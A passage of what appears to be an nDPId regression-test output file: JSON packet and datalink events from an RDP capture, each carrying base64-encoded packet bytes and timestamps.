JIIctSVg\/jdvMl\/dsZhL\/adveS8njjZ2R3SzWafzAHhYX\/9383LVZsNAqvv1owi0RfKDi6SpRCX3rLPwYNCq8ZK\/9Z+k+eOrT\/QWwwIGcNrBV+AS8y7xQ\/WTEsIS4wBvpYTGu7ZBVYsnfx7qQ55ILet9\/BsU\/MpU3eFPhAtAV0K5rI2yavzEKEkVY\/DV1WMn38YQeHLJcHSriTEK5J1X67RsIK+AgIAVmE8RaAcAXgsq+fJGnnfOF+GtqTtJWwJ9\/t7iuN4kMkVT5M5gmoXlNYmigWdVfziwBMPX2Wm5N3LZMsNrnM4hN6oRGf4FuIQIX4d4hfweeDcB44TJ1C6jJa2K6m+Hd9fujghdHdF3JNlEMXu1RSjwpvu\/qH5nZbjYK1Xdcdz0k4ApjIbQaO80IhMwzJhfzxKvZnJ7TLaTFEd6\/ux0vTaNNm79G3B4muX6Qt95ntRIWBpPTu0DIH9Xzwe4iwGLrufDM2xdGQcHULVkIdidWNn4y1MrLABQP0+cL8QwFzQH4PDAD1fsnkZzWPSGH1RlUc0b93gbzBAExzavOsxQ7BZZwo3FoAMhe+mmq1+p\/ne\/UoVUr5LmHodbbuiYqMWn\/q0+bGdjBRLbFwZtL6E3mWpDBSKEd2cahhteZ\/i0yZuwd8QnlMMur0\/OVk\/lwyYdoR6srdS2aiOV7ey+1UUP63AjG\/RsdSzK6bKOGmabrGjCA0Fu1UNak2\/A9pscJYI+LuOFij7VzZAJL4nCdiqR6umePT7Zj+4dUY6vgdSWM69Ybqrn0FXxVWJEu2tVyRIWDXvH3pI9O7rWoEuoDrTEvzEtI3VrABwWpsK1NT5iTHVE+d8rCc7X\/2d0oEEH3VfYez47G0jlz0ggyvgTbgJw4fpLhhhtRWfLd6fhVZL+PBuB5b4F77QAvZqYi7l8qsrZXhNw4aBwFdiTRUw8Fb6hiIzEU8\/cmH2n4PGiZNcqH225ZEssx9KbQC4lTVXJWuz0cUmMHtveP7GeEvks4upmBk+y4AVTfmnnadKHNN+xQFUcj2sQ4NJO8Baf735Zq+FpWvUpPq2CErykCjaa+Hb0MWDXcGXQgCauqsAZ4PtUMEcaYVH7G1EHHQ3fsS6pi2MIAJitMhRC+LjqCx5SAYX\/0h1iHKpHsQMorkRoYJ6nSqztiMI+mw5Ww0rx2s4DToaLheXlO"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1971,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1972,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":887335,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9JSJHontjUBgf2NeYAAAXAwMAMOAIO32NJwxI9BuHou3GMbK5e63vRdlS\/dwBJoO0u0hAPbyHatUicSolasBL93e5rQ=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1972,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00863{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1973,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":887517,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjsEAAfwYkpcCoAo6sEAK5DT3NDkeie2P5vSPMUBj4srXcAACNd9kjO1PvEffKVXEpqKCXg8f2zkVzPDwZbmeCXYRWjtoYjQg1NZDKgWjBBeeMShnBTwKBxOMOIZSWzN+tfMIQuoQGFz2fyBpk+QiuJ8ct56GDGcj392JtUQiZLFmIl5DtYGqUs3yd4R\/D+dTByHJaOzVTOVLXe92rFHRwWbimNKTkVsPUmamkwjBa8GoC90LNOk3BvM8XpajEN+XZlH\/dHKTxGQykymaeH4bNvV8MR\/qLUHlq1tB11p4qHJwR+u9\/VuJjpWOIhHQJAMGXC3vMvsinfmlD714m\/YnuLLaRxxzSKA8Y8YPpIdzmI0PslqIJV6HhXlil1MMCB0Q+SNHhhxb5dnGo3A5thyoX7HgYNFIZd8QA9UkXlEnihV9tc1ntEMkZFjYddoTJw0e9SAGVtLgHfZj9x4QaERZSy4+d6sZWHQE9DoFzJRtfnmqloFm3o4ncw7Ez9hPEUNMto2En2Lb7+SpEm1ppbsGGlo3xjpTtU8ytbY\/PZuKz"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1973,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00353{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1974,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":887567,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9JVdHonzeUBAf9F\/\/AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1974,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02082{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1975,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":901571,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjsUAAfwYhJsCoAo6sEAK5DT3NDkeifN75vSPMUBD4svU9AAAXAwMGbwAAAAAAAAKFx9iI9bAdJaTusHoz4\/iTPtwBOzNYbD63Fdr0p\/atGhrQox2LsTLP9dVpn3WGNdJSLRy7rhYpNutwTrFJ5jfyA1PcCjpbLCYLcyu4YTp4fDM650rO3QWHe6HW9jhp49UWOzgtAecvYi9OIkZZ9fbuSYRn1KjMa45TJ\/dDHRUMX4MiOtsRqbYaed\/Dqz11rYJFYjoPiJreLtTx6N\/\/M7GJQt+Cv3CDA77ZmWngf0aDdF7II7weDKVOnPRkbNiAujK+9zy40CcEggg1fFAw9D9dHbrfhs0eFMw8DFRKkKilAGjAo5+inWy1rAh9GIH6Ktw\/sXRK+tizpZeHq7tOpzZk0j4Q\/b0uaA6ctpj8W4Z1OlqrBczwhhwZiiTqKyqg2PDZ6Rd\/QGS30joE27+N4HMshS8R24MPc0cU7+wFl3BIVIkeL8bvjvS8zRKLlWK3gxzeXzMkNYefrR5bCw9cltmdChWaFP8aQkwFGkn0IRoQDzACSqgDqZ3XUJqdnNK9zw3FSAj0\/jwPoHQMeE\/Gkg6SEoVzmwJrr1DLQxpjDbWNCv7ALxtNxN13eS9YmyOSu92cxIX6xIl2glJNZRf0sWjkuN\/d4jp6EGrKZy8yHBfgye17TKodxBIO\/j7JhTv9iM0mA46fbayZXue3IKvoXqqmAb70lp86NAzoIKZXJdeqolE5warTPmDY1JXX5TnbF8uQHMglbtMCjAE2rGWyOBZ4ItNxxLLLS+czuoq6FzrNW4EZZCV+b68JWIjJHHlSTBBst1PLnNNZAmkJMI1hx2KevO3\/97spMe7bd8kQW+kDQiIiMfPST5hmYcRj6a7qwqGhmKNn0Yz\/SKAlEux2BcZHaWUBTqZeAX1CaqaGGpDKDIqyOLYiiRsYamkef48zuI\/rpHChSyVkMbfNdtKHm5WdygC0S5ABbqDix2KmWI+m+gzFl32XWs9CKOWnWtS4DfKzZDB6asZ86EB3CuXGmu5EOtki3z4GP4odL+kpMV2MnBJtRvtSuhFmjrpCmt88e9BnEnPw2Rbgf4SxYyqq6vbITQOf\/RysHCI4OyjkvKDkdS\/d4Cpse5AfM0vvmNWoqpKmO4Va770TMpYXkIMiA\/Crch\/nogyb81JqJ\/c89fiKf+8yTE9o0lwJ7grlmEljy\/I1roR7DVKfpi4soWT+U0ZTsUgpZ2HO5UbXdOxUOvJ8Rw8mAyhYnCH11sTmkBpavIxgUVtxi7AVacZ8JaIxh2me+53UYc\/i7zDvxxLul4iVjxW4Uv96hbxVvjtAu24+2G4\/wO0ttqFggJsNA5tCd3lcGYdNNQqIOFhd4fa6AlpDXjmtnm5oqaU3dAggV1MR6\/LYv2qkIi\/eLheOZTyju+cN9GIMqCKJ6Qes4D44xMa9Ag3p6av1KKtWY4wqcyPiEHsBlD1lP0X3kifay9ko16DGho2dWlIL0foXxHmC4hJW+LzShX6uJzn051yGbKHJNfiJbQWZxBN+Zaxcl\/CoB5qY2etCt95Bi+XoIysVhqnMCgqaEOCjaVL0c1z4SLSJLimFBL\/7U6NuFokC6kPsXaHRA+LAjfX\/KShfuTX1U1Ygg11cLJlUDdK1C2osbykuWuNdLb\/kjtHbRzVkZ1Gcgmh6STlzMCVmUgAilldZ9V4dxx7ceO1gI2789xwr66kOlTQtmfJYndrncNZ0Ai\/a"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1975,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00865{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1976,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":901617,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjskAAfwYko8CoAo6sEAK5DT3NDkeigdf5vSPMUBj4sq3uAAAksi11be07TcHwocDdONvbETK24\/JzJQ6ICmbhIRhpVvQSFKNOFbTJUM+BpMsDJE4dA6NXQnE\/KZ6ZGs1ViY9gXKfdMJg2XMempOCO9vAjN222ac78PVgI0ea\/Tq242e+OCCnpO9KcSzmSRBBvVzORzLGkWWncR9UzBhuyEaoy+uiLFVjB2TfJ5encauhwh5Sj98Jh1sD\/sEMXBeB34iNBwI0o6zdzkvZ\/Zkry83rUlAzt6k+h9SuF8ydJqbgBys9ztWo0Jz1Ee6tJwF25x\/1Ko9Qy7inDsLNIM6XTfZSKzx7ZGVDkPFkKfEf2+kz5zvLy++D4yqLCUFtn\/axwZKXSUn8g+j7xZlEMRMXLqYpicbmAB+oMGNgt9xX7KqJhTMkXz879u9EabjlWOI7FwXrockn5yJJDIQeuFPLVU9QFkVr43HZDDhnEjXiZ1CiiZa5SMwhI8QsOFF82P3WV5Y0N5HW6w+nN2OodAVTowueSP4\/91PxtWbLXDWAU"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1976,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1977,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":901653,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9JVdHooNSUBAf9FmLAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1977,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1978,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":901685,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChjs0AAfwYmHcCoAo6sEAK5DT3NDkeig1L5vSQ+UBD4QIJXAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1978,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1979,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":901781,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChjtEAAfwYmHMCoAo6sEAK5DT3NDkeig1L5vSSwUBD3zoJXAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1979,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02079{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1980,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":901949,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjtUAAfwYhIsCoAo6sEAK5DT3NDkeig1L5vSTlUBD3meG3AAAXAwMGbwAAAAAAAAKG10D+6R8J7earbtmGPJCknUBDrqHFbRvSre1YBCRgmSynAP+AYanM+ULrspP7fH3XJ77+q+827m1wLADFOYv\/2sjdGYs5XogxcdVae47p+akgYcrX2raBKrApHteXpYjjTU\/XMI2sMUeuRJbCKKx2wVnmEVqfFD72blRN81ewMgmDeZmgXKu87UWS2WYZJduxih\/YhBqETYGDmtxNXugV8Cwwga6QER6xINY\/\/WxOuQmactT6rNfhJ94I653Wo4L\/AuAnXIDjrZMXOUcIE+10XyZPNJCose1MoJby1s+gsuZKLgs8xsnmQeCm4slpwZ\/8fKqN5PfSaavbcX25ntCfMKmo1PlY3UqYhvKPlLAhfq7d770ruOBWmWZd22llNUQsVixOtLUbhTe9SGm6aa4J9lY0aaAkTs3ZdAZHzcO1d0fQ6ATfZ0zamD3gOW0izPzY99nA9TPoGQ7XBWP3O4pn1hn5xiHBFwnZwTFN\/avOX5bLqzugxf9lV8uSkuDPaSVW2JUTnILBTF4UsCVBlVsKkOjLMjxf7UUwX2x9tcXt4aOmEtE6EVdC7Q\/yxkO\/ltECCQ9QOsVpmummt+NVC703EFmMs19nlmKrukVZWgvFGKcmreudR0DuZ3C\/2Od\/3sPgMlmSqzDvI4YY2TQYi2z6CfQ3aOnvAgGLpFK6yhwp3W6dixLz+NwZ5zyqJ32DdS7JrN9CoqFzIWAI\/85oNw8vVz9urPfmeFcG0HzSmgxc0r2AhCtBgvOZ+ut6\/FWfqB1H35M4gfzIYyI+ut0ja3u2DLtZltlDMglAr0ox+owm2YIc6JLq+zhICJGGZc9fPVJaVv5zQMughPpHRD3OxcRhobT8TkzWPQive6VasbfLYBQH9UKOlg1ACdQVeG6S9iPDGzNEwXFf3e+\/vxB\/wIBxoB3CrbRFZl\/LeDYSPA7heqSgHh19l4wZPs5+d1k5GQlKlri5J0nBHICAQKM\/Gml1yE4K5lJZsGIfVLnvl055DaqzNjZYu13AslNgl0I7NpStvEmXjGMpJsRHgtUU3kqvQKLYaEXpCi22EfhIae9sYxhZV6wT7iTfF1Ja9QVS2Fy+hq6BGaAdl3oOP4TWquuQ6T82ErdJeFrvv6+DxuKgNeylpxEVP9PTIBiNl0HTOsQM6CL7dk2Uj27bQrP2kdmzA7FHihlRtKZNGwrrgpgYWcoES0jKWs7BRUiXqFNvw1GAoq+yZxtE7fT1vsVECHAh5Tu7+7bsIjyX4GdHqOHP\/\/phHwQqSiXiTh+s+X0bWTHm0fzK6MXsfEtqz8cZdbnJx9ImROAV99wwz8Rmev1cYN+XzzYnVblhZYzxLtVbyv9nXPs12pE5\/QHXlQ9KiAeVgMXp3y87G157mKH4A+Ac4ZNNynWri\/VY3z0QFd0GrGP7uV7mW0TknD7F9nKUKmlq3r7MFHk9Ni0hTxGCRaHJNpeRWP+jf9w9B4O8jVzskhSwaYM6SlvGspr0pUXFSSgJB71OY05ocAhiO5z\/XlEWgVAZEewDXDya5j7KtRcLQjMhGk\/iL9RYUbowYjDePtAmtLbxwxn1\/Z+70xDXGnvtx0n+YTjAl89JYqCwZHrJ4b5T92NpSnEvbfFgZKKbQJaOTESinqL5KvucVA8\/r8F13xA3S8\/h2DGdRBay+e5Ef9ML3JM\/Thlaj+PhyMag"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1980,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00868{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1981,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":901976,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjtkAAfwYkn8CoAo6sEAK5DT3NDkeiiEv5vSTlUBj3mWaOAAAedd\/PUjVphbNHglwzIjgeop\/fjqbYfEGMzdo9+OEsLUpbOSi2hsAPJegnSR9FSFc2gSDeKVCHcx0ajZQmGKV8K14L+ExvezWgfR3cyY2xfg\/4K0LbQUGKHEMohVOVT5ocXB5\/J9agTp6FFdihYWzO\/MUnMgxRG0OE\/81c+AEgkxXtl2DGY5X3Ma1PnQckMj0SOGi3oVh7hCZz5OcF+W9\/jvo\/WFM4BQqHRX1P9GOIBBDdJz4aZbUq1\/r8xFblPomzreDGtsUKJBwQMCQvwOhV11Z4GB3m5YHtBVF3G\/vNwflelPuPyuUBlDpEKrFb1uA59K5xs1Yv3P4up\/YP4K+Hi8TQ5fTR8AbFb0E1EQzg5zNzc9pXoWd7g9Hq36ExsDJd3TTDNs0uFzwfpKvHfqNHMEWITCD0pXs4bB4rfMnueZsWiSOKuU4BRhA2ZDf6gmU3GaEwpRKQKbwgZvugk6folzYb1hTFJ6dvU8cyQ0jBwlWxLo1LjGjJaS1J"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1981,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1982,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":902006,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9JVdHoonGUBAfzFM\/AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1982,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02077{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1983,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":902169,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjt0AAfwYhIMCoAo6sEAK5DT3NDkeiicb5vSTlUBD3mZdDAAAXAwMGbwAAAAAAAAKH76ZhfyOUHTwyfbWN8FzIQdBMk8PCisjNpVod1cW8HxpIkzYl+13qfwDjrboV+ZF9Qol7RtBUxmh4LeouiM7sIu6kZYjzXStXXyN1PH6REYhoocAhbhyfhcVQYn8p3fa2fNMWMzpZuF6O8kZTv\/ab\/dVwzkgmmC2XKtZSLGGrLdL0jsaeBBAqDz62v3EiKQDvxqHvNCbR6Gp0jwOQVUPinRX63QtI\/pLlhE5vvD24SdjeCt9i4fjvpf9ugI1b6kJm5ZidMtaS93+0sGZvg9HS0qHDdy+wKsm18TGu4pd84whPFAIkhweUFzUQ3OnjyHaaVXqbgsegWkmG135E1VjldGY7uwpXtStMfw8dctHbAcn38FS40QPq4Lhjk9YUYEbeaRix7gri8JmrHRTdV+wyzlZCGA2qJ7Sg1o6eZsYgkKkapaUISTS4QfOTYnTg\/\/Sp6wBrltzHPVVTzhETr71\/rMepg8eRZZLqlVo+\/+zrx5wsdODfm7lGu\/4STodBjnUFDFjwXd9bWgRk5Brq6vl\/k8LXoycjch3OxOXygFS5pBv1fylFwGWgEBeTTeJob1dbCk28sVhiE5aSoh6XOtecb8MYI85wbymJiLN0YxI3Qi171quTGVUX5TnDZzX3CSaY4KQ1rdVIALj6tkOUYMlD74u5o1cFJ7ggNY0lt9J\/D2BlqHbcx8oEZnZwhETYVF9EHx2KWIZVhl3g05oR6AQ+kB0qh\/xAKa6LJbPKKxLmKUX0d0skz+pQN9gZeyWekM89odDQ\/ifKKE01HcARfJQlKPWv1fRcFGAjn3rFD7PBdSiOvGaWwxu7SEPsxii6QiEv6mOJnRWwubzGZfWxWlhxYQaLtelRm9zmElBoeu4SjlOHVN0BE1vgef6el8z6EfUDQnkPXsH3J7ZCEGu8fp7siv4ALaPOD3a36VTDzwNFScnyHytwOqOxMIAqpAgdKHvSuRdwe0ADcH6c0fHRdaZJ6vT7ud2Mfwa6vfecT7Gfy9H\/9mjJghaNwFb2KKFPjfPFD2mOcujPg4G6xeXOr1zkf4H7HCts7OBTI7tkdONzgib0b\/ciJl4p+Mef9vCK+7JR8gR\/+vZovBQfmi3VdQvvOj8p0gF3oK1fpInLZqmnevoWdYzAUz\/oGN5DKrPa3Pmk9kFfj\/I+1v2R6N3262HVEp8jWNYSVBu\/RU1ogQUJunlqXzFmRiuWQR\/2Dmna8mkszjldSFY332tbftr4Cct0tcKZl8EUx\/ObkC7IjbyjnLEsHZ3rKUWfANhJVfLobSHVtR97QXlsT127qmRpRRdSVkgX1YCwRI5fVtG9JCTmzWKNHbKelOvB5ryKzJhoc\/B7tznqNTQTnJ8XRS2flP1A9tXDr0cmz1ADhRBq0ZOZZXdZs6tpSXQBl\/B2mq95uzWLolsvH7Vp4TMPWBEAxMHgS824cExf+SbO3ivnwIww+0BVN\/fZGKmFNWbcpVMdLpi6Z1r8aqf3Ub9jXaoZQrVrQKckVwuspBkZ4UmH8ZdUbPCSWKVr\/xRmoy+eL7o5rRbdDR\/RQGfYuHGIZm6fn39uuRWZ2qUTaMT7b8Po2auIrn1muBceRdnLbEv2Ik+tL15FkZicasNRWZT1CyNYK5gKA5\/oldJdagin03XQLXok8h+HqzVByzAS903EBtc+9r9Gddrq0Jin3ajHJLBH"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1983,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00868{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1984,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":902234,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjuEAAfwYkncCoAo6sEAK5DT3NDkeijr\/5vSTlUBj3mSlJAABFuSQFhtLGy9OC6jle6im2gMjtATUui6CMUncMyiVkviFjxzO+qg93V0bGUqMkqnQiQHvjtqCjsUu8Kb5tWMEbsbsdTW\/vPgN1LAAkXOsDJjKFz0v\/RUoAvRKZszmpH9OxIWGfKviFChm9S+2QBfMoslaxswSQ7eHY2T6GGyG\/y5\/zNf7gUvp\/pVYCi5ELs1wj6BfGpq2dJZWwg+\/bFOTNrzLbFaEm46Fx4ieQabuKQduf94Ano\/hl1tqCG4R7xI6IxaO0WyRJcGoaCSm4gVw1Zyd89g9IPwBPD+4lIPm5D4q3zbLz07XtHVIP88V48F9GdrNY7OPZn4RYo+EzhcfuFLuIjZFW55y9\/O1M3AZwqjv3xxy027XiJ3xzMIRrwWjEZS3gpUpmn3LWKHlTrgunOwLV\/AI88QVaR0qFGIZT7pFmFnta9ShV\/fMD3I52vA9lop+ta6MRJ1uER2HIf3992cr2R680b0iUPmu88tJ3Yv8bbkhgzNla3LYt"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1984,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1985,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":902267,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9JVdHopA6UBAf9EyjAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1985,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1986,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":902408,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1juUAAfwYl4sCoAo6sEAK5DT3NDkeikDr5vSTlUBj3mdhUAAAXAwMAMAAAAAAAAAKID5NArMI+Mqw3U3CIfQMTylxkzvGil3JKbWQEU3NZmvqxhNO63gQ2bw=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1986,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1987,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":902444,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9JVdHopBvUBAf\/kxkAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1987,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1988,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":902616,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9JVdHopBvUBggAKrdAAAXAwMAMOAIO32NJwxJ+UY8d7J0YfJN3UJCExcpC7cwTmDpdQwAivpdn6vaa9LryO3XV1lMsQ=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1988,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02080{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1989,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":902648,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjukAAfwYhHcCoAo6sEAK5DT3NDkeikG\/5vSTlUBD3mQdYAAAXAwMGbwAAAAAAAAKJUzKnVV6DwSYzbMiDrYbDHYwqKgPJ7R18lw2uq3pfjLWwmlVRBLBMhSEbl7vnOqVt23ld1aJaw32+sMkyxnbc7O85v7P\/WxXyPe4eeWiHQJjxYUpa0DPllg69ojZk1TViygYWSZ\/oVJ3ilGY3IYZh+US+9zydojvudMQNcYpLTDMvVnHvr0dbyfti1gjeGa\/cTpzkF+mJ0\/1PEaTkYulZBPEESbCnjbHr77oQfnjPytmaMRZdR3VcluV0baMQNYFoiWLyDPc1lSPGTnEeVmoGhZ3S0yMLYqBcJNw+xOaN9Q2aeG\/B6fGRI9lJ+W0KDKXTLrNR9NysLisdRzRAcDhJ62SQF0SmNETKQvNdRWI0jO1TswowaqvF1zdZgVflfQkgmwaKsfGy7ZcCHDPP07t0nfWmop7HVlr8mg2FKa2spYBAghIfDsYbEr0LEhV\/+Z\/sv6mX417s9x8IGVWI3j6NUHVoP1+GTJ45zfwGDJWI2L+\/Ip\/xARNB7a6YSAHeHRU936jmIwjwOzxSZCWHibiPQgvk6Odndsvq78GTiQMQAhY6I8NRDsdhknE2joz52qF6bCKKiNP+WnEaTRoLkxArMwG4YplJ5Rz82aAnfKD\/r6XiQqebnSAdSAle0gvBO0FLGZfWLSVVsNEZdyZui65pt27DCgHNHJGf6kVHAoHM0wMFQfSQvMIcfVvWrGxcR7xQpv9QPXY\/pTSQiGg2Hd7klYGOwAUE7LlHYcAluZSYGIcGiDsU9cfet402sAVkLtFWjQlm\/fzzOJjWpR8JuEFMkF1jaN92nzF2F8HAO1QOMAAbLExy5iMlGmpVtkKjxrz+4HjGseAOsGI\/gahEg6Sv0OwoWxf11Jqm+POu0uotzSM\/LMRZ5Y0HJ\/Brnrwb24PJ7k8ptMcCmgKlvlqK10hokyc